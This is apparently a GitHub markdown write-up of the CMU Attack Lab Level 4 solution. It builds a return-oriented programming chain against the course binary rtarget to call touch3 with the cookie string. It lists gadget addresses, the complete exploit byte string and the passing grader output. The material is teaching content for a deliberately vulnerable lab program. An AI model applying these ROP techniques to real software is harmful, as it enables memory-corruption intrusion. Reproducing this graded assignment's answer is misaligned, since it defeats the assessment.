Skip to content

Level_4.md

Latest commit

 

History

History
70 lines (59 loc) · 2.59 KB

Level_4.md

File metadata and controls

70 lines (59 loc) · 2.59 KB
Raw

Level 4

Similarly level 3, it requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie. You still use gadgets in the region of the code in rtarget demarcated by functions start_farm and end_farm. The below table shows machine code represented for instructions:

Machine code

From the available gadgets resource and what we have done at level 2, we come up with the assembly code to exploit:

mov %rsp, %rax
mov %rax, %rdi
popq %rax
mov %eax, %edx
mov %edx, %ecx
mov %ecx, %esi
lea (%rdi,%rsi,1),%rax
mov %rax, %rdi

The reason why I cannot move data directly from %eax to %esi because in the gadgets it does not support the machine code for instruction movl %eax,%esi. So, I must move data indirectly by regisger %edx, and %ecx. From above machie code and gadget ( The same level 3), we find the address of these instruction.

mov %rsp, %rax			--> 0x401a06
mov %rax, %rdi			--> 0x4019a2
popq %rax			--> 0x4019ab
mov %eax, %edx			--> 0x4019dd
mov %edx, %ecx			--> 0x401a70
mov %ecx, %esi			--> 0x401a13
lea (%rdi,%rsi,1),%rax		--> 0x4019d6
mov %rax, %rdi			--> 0x4019c5

Exploit string

61 61 61 61 61 61 61 61 	--> buffer 
61 61 61 61 61 61 61 61 
61 61 61 61 61 61 61 61 
61 61 61 61 61 61 61 61 
61 61 61 61 61 61 61 61 
06 1a 40 00 00 00 00 00 	--> mov %rsp, %rax
a2 19 40 00 00 00 00 00 	--> mov %rax, %rdi	
ab 19 40 00 00 00 00 00 	--> popq %rax
48 00 00 00 00 00 00 00 	--> gap byte the code on stack
dd 19 40 00 00 00 00 00 	--> mov %eax, %edx	
70 1a 40 00 00 00 00 00 	--> mov %edx, %ecx
13 1a 40 00 00 00 00 00 	--> mov %ecx, %esi
d6 19 40 00 00 00 00 00 	--> lea (%rdi,%rsi,1),%rax	
c5 19 40 00 00 00 00 00 	--> mov %rax, %rdi
fa 18 40 00 00 00 00 00 	--> address touch3
35 39 62 39 39 37 66 61		--> String cookie

! Result:

danghai@ubuntu:~$./rtarget -q < raw_level4
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61